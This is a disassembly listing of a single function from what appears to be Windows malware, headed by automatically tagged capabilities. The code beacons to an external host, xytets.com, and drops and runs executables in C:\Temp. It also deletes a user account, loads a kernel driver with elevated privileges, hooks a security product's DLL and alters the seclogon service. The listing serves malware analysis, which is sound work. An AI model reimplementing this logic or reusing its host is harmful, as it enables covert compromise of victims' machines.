Function at 0x401910
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Check os version
Create process on windows
Delete file
Delete user account
Modify service
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x91c
mov eax, dword [0x40c004]
xor eax, esp
mov dword [esp + 0x918], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov ecx, 0x40a480
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40195d
test dx, dx
je 0x401959
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40195d
add eax, 4
add ecx, 4
test dx, dx
jne 0x401937
xor eax, eax
jmp 0x401962
sbb eax, eax
sbb eax, 0xffffffff
xor ebx, ebx
cmp eax, ebx
jne 0x401f21
push 0x1ff
push ebx
cmp byte [0x432194], bl
je 0x4019c7
lea eax, [esp + 0x109]
push eax
call fcn.004058e0
mov ecx, 0xc
mov esi, 0x40a484
lea edi, [esp + 0x10c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10c]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4019a6
mov ecx, 9
mov esi, str.http:__xytets.com:2345_t.asp_oswangba
rep movsd dword es:[edi], dword [esi]
push ebx
lea ecx, [esp + 0x104]
movsw word es:[edi], word [esi]
push ecx
jmp 0x401a10
lea edx, [esp + 0x109]
push edx
call fcn.004058e0
mov ecx, 0xc
mov esi, 0x40a484
lea edi, [esp + 0x10c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10c]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4019f3
mov ecx, 9
mov esi, str.http:__xytets.com:2345_t.asp_oshome
push ebx
lea eax, [esp + 0x104]
rep movsd dword es:[edi], dword [esi]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
push str.c:Temp
call fcn.00408654
add esp, 4
call fcn.00401200
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push 0x40a510
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401a5c
test eax, eax
jne 0x401efb
call fcn.00401100
xor eax, eax
mov byte [esp + 0xb8], 0
mov dword [esp + 0xb9], eax
mov dword [esp + 0xbd], eax
mov word [esp + 0xc1], ax
xor esi, esi
call edi
push eax
call fcn.00402530
add esp, 4
call fcn.00402542
cdq
mov ecx, 0x1a
idiv ecx
push 0x32
add dl, 0x61
mov byte [esp + esi + 0xbc], dl
call ebx
inc esi
cmp esi, 0xa
jl 0x401a83
xor edx, edx
push 0x2a
push edx
lea eax, [esp + 0xde]
push eax
mov word [esp + 0xe0], dx
call fcn.004058e0
lea eax, [esp + 0xc4]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ad6
sub eax, edx
lea ebx, [eax + eax]
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401af0
push 0
push 0
sub eax, edx
mov edi, eax
push edi
lea ecx, [esp + 0xc4]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
cmp esi, ebx
jb 0x401b1b
lea esi, [ebx - 1]
push esi
lea edx, [esp + 0xd8]
push edx
push edi
lea eax, [esp + 0xc4]
push eax
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov word [esp + esi*2 + 0xd4], cx
xor eax, eax
jmp 0x401b50
movzx ecx, word [eax + str.C:Temp_]
mov word [esp + eax + 0x100], cx
add eax, 2
cmp cx, bx
jne 0x401b50
lea eax, [esp + 0xd4]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401b70
lea edi, [esp + 0x100]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401b90
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401b90
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x100]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401bb6
mov edx, dword [str..exe]
mov ecx, dword [0x40a554]
mov dword [eax], edx
mov dx, word [0x40a558]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
lea eax, [esp + 0x100]
push eax
call fcn.004012d0
add esp, 4
xor eax, eax
movzx ecx, word [eax + str.C:_tempCP.exe]
mov word [esp + eax + 0x718], cx
add eax, 2
cmp cx, bx
jne 0x401bf0
lea eax, [esp + 0x100]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401c10
lea edi, [esp + 0x718]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401c30
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401c30
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x718]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401c56
mov ecx, dword [str._ups_run]
mov edx, dword [0x40a580]
mov dword [eax], ecx
mov ecx, dword [0x40a584]
mov dword [eax + 4], edx
mov edx, dword [0x40a588]
mov dword [eax + 8], ecx
mov cx, word [0x40a58c]
mov dword [eax + 0xc], edx
push 0x40
lea edx, [esp + 0x78]
push ebx
push edx
mov word [eax + 0x10], cx
mov dword [esp + 0x7c], ebx
call fcn.004058e0
add esp, 0xc
xor eax, eax
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], eax
lea eax, [esp + 0xc4]
push eax
lea ecx, [esp + 0x74]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x738]
push edx
push ebx
mov dword [esp + 0xec], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
mov eax, dword [esp + 0xc4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x401d15
mov ecx, dword [esp + 0xc8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc4]
push edx
call esi
lea eax, [esp + 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x401d30
movzx ecx, word [eax + str.C:Tempi_]
mov word [esp + eax + 0x510], cx
add eax, 2
cmp cx, bx
jne 0x401d30
lea eax, [esp + 0xd4]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d50
lea edi, [esp + 0x510]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401d70
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401d70
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x510]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401d96
mov ecx, dword [str..exe]
mov edx, dword [0x40a554]
mov dword [eax], ecx
mov cx, word [0x40a558]
mov dword [eax + 4], edx
lea edx, [esp + 0x510]
push edx
mov word [eax + 8], cx
call fcn.004012d0
add esp, 4
xor eax, eax
movzx ecx, word [eax + str.C:_tempCP.exe]
mov word [esp + eax + 0x308], cx
add eax, 2
cmp cx, bx
jne 0x401dd0
lea eax, [esp + 0x510]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401df0
lea edi, [esp + 0x308]
sub eax, edx
add edi, 0xfffffffe
jmp 0x401e10
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x401e10
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x308]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401e36
mov ecx, dword [str._ups_ins]
mov edx, dword [0x40a5ac]
mov dword [eax], ecx
mov ecx, dword [0x40a5b0]
mov dword [eax + 4], edx
mov edx, dword [0x40a5b4]
mov dword [eax + 8], ecx
mov cx, word [0x40a5b8]
mov dword [eax + 0xc], edx
push 0x40
lea edx, [esp + 0x30]
push ebx
push edx
mov word [eax + 0x10], cx
mov dword [esp + 0x34], ebx
call fcn.004058e0
add esp, 0xc
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x328]
push edx
push ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
mov eax, dword [esp + 0x14]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x401edd
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call esi
lea eax, [esp + 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x40a530
push ebx
call sub.NETAPI32.dll_NetUserDel
jmp 0x401a29
push 0
push 0x40a51c
call fcn.00402794
add esp, 8
test eax, eax
jne 0x401f19
push 0x40a388
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, str.ups_run
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401f4e
cmp dx, bx
je 0x401f4a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401f4e
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x401f28
xor eax, eax
jmp 0x401f53
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40200d
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + str.C:_tempCP.exe]
mov word [esp + eax + 0x308], cx
add eax, 2
cmp cx, bx
jne 0x401f60
lea edi, [esp + 0x308]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x401f81
mov ecx, 0x15
mov esi, str.C:windows_system32ipconfig.exe__release
push 0x40
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x30]
push ebx
push ecx
mov dword [esp + 0x34], ebx
call fcn.004058e0
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x2c]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea ecx, [esp + 0x328]
push ecx
push ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [esp + 0x14]
push 0xffffffffffffffff
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x402006
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, str.ups_ins
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40203a
cmp dx, bx
je 0x402036
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40203a
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x402014
xor eax, eax
jmp 0x40203f
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40244e
lea edx, [esp + 0x24]
push edx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x24]
push eax
mov ecx, 0x40a634
call fcn.004010b0
add esp, 4
push 0x114
lea ecx, [esp + 0x514]
push ebx
push ecx
call fcn.004058e0
add esp, 0xc
lea edx, [esp + 0x510]
push edx
mov dword [esp + 0x514], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0x514], 6
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
setb byte [esp + 0x13]
xor eax, eax
mov byte [esp + 0xc4], bl
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xc5], eax
mov dword [esp + 0xc9], eax
mov word [esp + 0xcd], ax
xor esi, esi
call edi
push eax
call fcn.00402530
add esp, 4
call fcn.00402542
cdq
mov ecx, 0x1a
idiv ecx
push 0x32
add dl, 0x61
mov byte [esp + esi + 0xc8], dl
call ebx
inc esi
cmp esi, 0xa
jl 0x4020d6
xor edx, edx
push 0x2a
push edx
lea eax, [esp + 0xde]
push eax
mov word [esp + 0xe0], dx
call fcn.004058e0
lea eax, [esp + 0xd0]
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402130
sub eax, edx
lea ebx, [eax + eax]
lea eax, [esp + 0xc4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402146
push 0
push 0
sub eax, edx
mov edi, eax
push edi
lea ecx, [esp + 0xd0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, eax
cmp esi, ebx
jb 0x402171
lea esi, [ebx - 1]
push esi
lea edx, [esp + 0xd8]
push edx
push edi
lea eax, [esp + 0xd0]
push eax
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov word [esp + esi*2 + 0xd4], cx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.C:Temp_]
mov word [eax + 0x431d90], cx
add eax, 2
cmp cx, bx
jne 0x4021a0
lea eax, [esp + 0xd4]
mov edx, eax
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4021c0
mov edi, 0x431d90
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4021d5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, 0x431d90
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402200
mov edx, dword [str..sys]
mov ecx, dword [0x40a65c]
mov dword [eax], edx
mov dx, word [0x40a660]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
call fcn.004017a0
cmp byte [esp + 0x13], 0
je 0x40230e
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [eax + str.RegistryMachineSYSTEMCurrentControlSetServices_]
mov word [esp + eax + 0x100], cx
add eax, 2
cmp cx, bx
jne 0x402240
lea eax, [esp + 0x100]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x402261
mov ecx, dword [0x40a6d4]
mov edx, dword [0x40a6d8]
mov dword [eax], ecx
mov ecx, dword [0x40a6dc]
mov dword [eax + 4], edx
mov dx, word [0x40a6e0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x100]
push eax
lea ecx, [esp + 0xbc]
push ecx
call dword [0x432198]
mov esi, dword [esp + 0x24]
lea edx, [esp + 0x18]
push edx
push str.SeLoadDriverPrivilege
push ebx
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push ebx
push ebx
push 0x10
lea eax, [esp + 0x20]
push eax
push ebx
push esi
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.004014b0
lea ecx, [esp + 0xb8]
push ecx
call dword [0x43219c]
add esp, 4
lea edx, [esp + 0xb8]
push edx
mov esi, eax
call dword [0x4321a0]
cmp esi, ebx
je 0x40231a
lea eax, [esp + 0xd4]
call fcn.00401000
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push 0x40a510
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x402404
cmp eax, ebx
je 0x402404
push 0x431d90
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
nop
movzx ecx, word [eax + str.C:_tempCP.exe]
mov word [esp + eax + 0x308], cx
add eax, 2
cmp cx, bx
jne 0x402350
lea edi, [esp + 0x308]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x402371
push 0x40
lea eax, [esp + 0x30]
push ebx
mov ecx, 0x14
mov esi, str.C:windows_system32ipconfig.exe__renew
push eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x34], ebx
call fcn.004058e0
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
push ebx
push 0x10
push ebx
xor eax, eax
push ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
push ebx
lea eax, [esp + 0x328]
push eax
push ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 0x14]
push 0xffffffffffffffff
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, ebx
je 0x4023f6
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x14]
push eax
call esi
push ebx
push str.rundll32.exe_safemon.dll_hook2
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x402447
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
mov esi, eax
push str.seclogon
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 3
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x402447
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x924]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040247a
mov esp, ebp
pop ebp
ret 0x10